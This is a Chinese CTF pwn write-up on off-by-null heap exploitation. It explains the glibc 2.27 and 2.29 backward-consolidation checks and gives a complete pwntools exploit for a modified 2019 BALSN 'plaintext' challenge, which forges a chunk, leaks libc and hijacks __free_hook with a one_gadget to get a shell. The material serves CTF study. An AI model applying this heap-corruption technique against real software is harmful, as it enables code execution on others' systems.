八芒星计划是我为了加深自己对于pwn各种题型的理解发起的,我会将平时遇到的题型相似的题目放在同一篇文章里,方便自己和他人查阅,同时也可能会录制相关的视频,来加深自己的映像,并且把知识点更细致地讲述给大家。
这一篇全部记录off by null

文章目录

  • 2.27的off by null
  • 2019-BALSN-CTF-plaintext

2.27的off by null


①:free chunk0
②后面伪造好过后向合并的检测
③off by null chunk2
④通过chunk2的prevsize找到chunk0
⑤free chunk2 完成堆块复用

2019-BALSN-CTF-plaintext

【2.29的off by null,借助large bin的会留下指向自己的指针的特性,来伪造fake chunk,达成off by null】
本题进行过魔改,去除了一开始杂乱的bin和沙盒,所以orw的部分将不在本篇介绍,orw我也会专门开一篇来讲
但本题off by null的部分仍和原题一样
首先,我们要先学习一下2.29的off by null新增的机制
2.29在向低地址合并时,添加了一个检测,再加上原有的unlink检测

/* consolidate backward */
if (!prev_inuse(p)) {prevsize = prev_size (p);size += prevsize;p = chunk_at_offset(p, -((long) prevsize));if (__glibc_unlikely (chunksize(p) != prevsize))malloc_printerr ("corrupted size vs. prev_size while consolidating");unlink_chunk (av, p);
}

拿出来就是两个检测点
检测点1:

if (__glibc_unlikely (chunksize(p) != prevsize))malloc_printerr ("corrupted size vs. prev_size while consolidating");

此举将会检测chunksize§是否等于prevsize,这个p是前面的chunk,而prevsize是属于当前的chunk的

检测点2:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))malloc_printerr (check_action, "corrupted double-linked list", P, AV);

此举将会检测p(前面的chunk,也就是要被合并的chunk)的fd的bk, bk的fd是否指向p

题目思路:

①填充heap,并且申请7个0x28来应对tcache,使得heap的地址达到第二字节为0,也就是直接观察到的heap地址的倒数3,4位都是00,此举是为了应对后面我们填充数据时off by null破坏我们的数据,

②申请一个大chunk,再申请一个0x18防止合并,free大chunk,,然后申请一个巨大的chunk,来把我们free的chunk放入large bin,让他的fd_nextsize和bk_nextsize有他自己的堆块地址,这将被用于我们的fake chunk,再申请一个0x28,伪造fake chunk,内部的数据后面会讲到,自己做的话到这一步可以先随便填点什么,这也是为什么要让第二字节的数据为0的原因

③让fake chunk的fd->bk=fake chunk,先申请4个chunk,后续会用到,先填充tcache,free两个堆块到fastbin,再申请一个大于fastbin的堆块,让fastbin里的两个chunk被放入small bin,再申请出来,同时修改bk内容,让他指向fake_chunk的地址

④fake chunk的bk->fd=fake chunk,先清理tcache,然后填充tcache,free一个堆块,再free我们伪造的chunk属于的那个chunk,申请回来,修改fd为fake chunk的地址,至此,检测2已被绕过

⑤清理,申请一个0x28,再申请一个准备用来off by null的chunk,再申请一个chunk来清除unsortbin,同时防止合并,free0x28,add填入数据,绕过prevsize!=chunksize,free25,off by null达成

⑥本题去除沙盒,后续泄漏libc_base,打free_hook即可

完整exp:

from pwn import *
from LibcSearcher import * local_file  = './note'
local_libc  = '/root/glibc-all-in-one/libs/2.29/libc-2.29.so'
remote_libc = '/root/glibc-all-in-one/libs/2.29/libc-2.29.so'select = 0if select == 0:r = process(local_file)libc = ELF(local_libc)
else:r = remote('', )libc = ELF(remote_libc)elf = ELF(local_file)context.log_level = 'debug'
context.arch = elf.archse      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims            :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32 = [0x13e211, 0x13e212]
o_g = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
def debug(cmd=''):gdb.attach(r,cmd)
def menu(ch):sea('Choice: ', str(ch))
def add(size, content):menu(1)sea('size: ', str(size))sea('content: ', content)
def free(idx):menu(2)sea('idx: ', str(idx))
def show(idx):menu(3)sea('idx: ', str(idx))
for i in range(8):add(0x1000, 'a')# 0-7
add(0xe00-0x200, 'a')# 8
for i in range(7):add(0x28, 'a')# 9-15
#----------------------------------------fake_chunk----------------------------------------------------add(0xbf0, 'a')#16
add(0x18, 'a')#17
free(16)add(0x1000, 'a')#16 !
add(0x28, p64(0)+p64(0x521)+p8(0xc0))#18#----------------------------------------fd->bk-------------------------------------------------add(0x28, 'a')#19
add(0x28, 'a')#20
add(0x28, 'a')#21
add(0x28, 'a')#22
for i in range(7):free(i+9)
free(19)
free(21)
for i in range(7):add(0x28, 'a')
add(0x400, 'a')#19 !
add(0x28, p64(0)+'\x40')#21#---------------------------------------bk->fd-------------------------------------------------
add(0x28, 'a')#23 clear
for i in range(7):free(i+9)
free(20)
free(18)
for i in range(7):add(0x28, 'a')
add(0x28, '\x40')#18
#--------------------------------------off by null---------------------------------------------
add(0x28, 'a')# 20 clear
add(0x28, 'a')#24
add(0x5f8, 'a')#25
add(0xc0, 'a')#26
free(24)
add(0x28, 'a'*0x20+p64(0x520))#24
free(25)
#-------------------------------------------libc----------------------------------
add(0x40, 'a')
show(20)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 0x10 - 96
info('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
og = libc_base + o_g[1]
free(22)
free(21)
add(0x40, p64(0)*5+p64(0x31)+p64(free_hook))
add(0x28, 'a')
add(0x28, p64(og))
r.interactive()

资料来源:

https://bbs.pediy.com/thread-257901.htm
https://www.anquanke.com/post/id/208407#h3-21
https://www.anquanke.com/post/id/189015#h3-10

【八芒星计划】 OFF BY NULL相关推荐

  1. 【八芒星计划】 ORW

    本篇用来记录ORW,ORW可以分为2.27以下的orw和2.29以上的orw,如果是本地请自备flag文件 orw技术是用来应对沙盒的 文章目录 oooorder 2019-BALSN-CTF-pla ...

  2. 【八芒星计划】 _IO_2_1_stdout_和_IO_2_1_stdin_ 的任意地址读和任意地址写

    文章目录 前言 一.GKCTF2020]Domo 总结 前言 这篇记一下任意地址读和任意地址写 _IO_2_1_stdout_的任意地址读,_IO_write_base为读取的起始地址,_IO_wri ...

  3. 【八芒星计划】 VM PWN

    这篇用来记录VM PWN 先申明本篇文章资料来源: https://blog.csdn.net/weixin_44145820/article/details/106600382 https://ww ...

  4. 【八芒星计划】绕过canary

    本篇记录绕过canary的方法 文章目录 前言 wdb2018_guess 前言 canary的绕过方法一共有4种 ①通过read函数泄露canary.关键的一点就是read函数读取字符串的时候不会在 ...

  5. 【八芒星计划】 House of Orange

    文章目录 前言 CISCN2020 nofree 总结 前言 House of Orange是一种用来应对heap题中没有free的情况的方法,通过把top chunk的size改小,然后申请一个大于 ...

  6. 【八芒星计划】静态编译劫持fini_array

    引用: https://www.freebuf.com/articles/system/226003.html https://bbs.pediy.com/thread-259298.htm 文章目录 ...

  7. 【八芒星计划】 ret2__libc_csu_init

    文章目录 前言 一.wdb2018_impossible 总结 前言 __libc_csu_init是64位程序中通用的一个函数,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 l ...

  8. 【八芒星计划】 劫持_IO_2_1_stdout_泄露libc

    这一篇讲劫持_IO_2_1_stdout_泄露libc,应用在没有show的heap题里,首先申明,所有的都需要爆破,并且2.27由于tcache的存在使得2.27的劫持_IO_2_1_stdout_ ...

  9. 深入理解null的原理

    --null的原理 --oracle一直将null和空字符串''<长度为0>同等对待<如'' is null是true,''=null为false,如果声明a varchar2:=' ...

最新文章

  1. 小帅小胖智能机器人价格_“高科技”开学第一课,小胖机器人老师又“红”了...
  2. 平台战初现 产品从单个智能走向互联
  3. 《STL源码剖析》学习--STL体现的思想
  4. 关于Typora编辑器编写markdown文档时插入出现前字吞后字的解决方法
  5. OpenSea联合创始人Devin Finzer:NFT空间在未来几年会产生更多应用 | FBEC 2020
  6. Java第四周编程总结
  7. RandomAccess接口
  8. 【转载】 ppt如何导出300dpi的高分辨率图片
  9. linux 端口转发 udp,Linux Socat TCP/UDP端口转发及使用
  10. matlab柱状图填充不同的颜色不同,使用matlab绘画柱状图,且使用不同的图案填充...
  11. 手机计算机快速切换功能,电脑页面切换快捷键
  12. 二维码的原理竟如此简单,第一次有人说的这么明白
  13. 深度学习基础知识(八):神经网络基础之导数
  14. 关于RECON-NG相关问题解决
  15. 详述win10下配置tensorflow-gpu
  16. k8s部署(多节点)
  17. 关于Amazon AWS —— 免费的午餐不好吃
  18. 在CMD命令行中切换到管理员权限模式
  19. 金蝶KIS财务接口使用说明
  20. matlab如何处理矩阵中的NaN

热门文章

  1. Android Skia的绘制系统
  2. 终于用Matlab程序得到了跟TA的Q100结果类似的Modulated heat flow的Amplitude
  3. es+fluentd+kibana使用实战
  4. 嵌入式开发人员-经历汇总
  5. Canvas 的drawRect 几个参数理解
  6. Linux自动删除tomcat日志文件
  7. poi操作PPT文档总结
  8. 金融行业对数据中心服务器的四个基本要求
  9. 强制删除mac启动台中的无效图标
  10. 构建php互动页面,第5章+构建PHP互动网页.ppt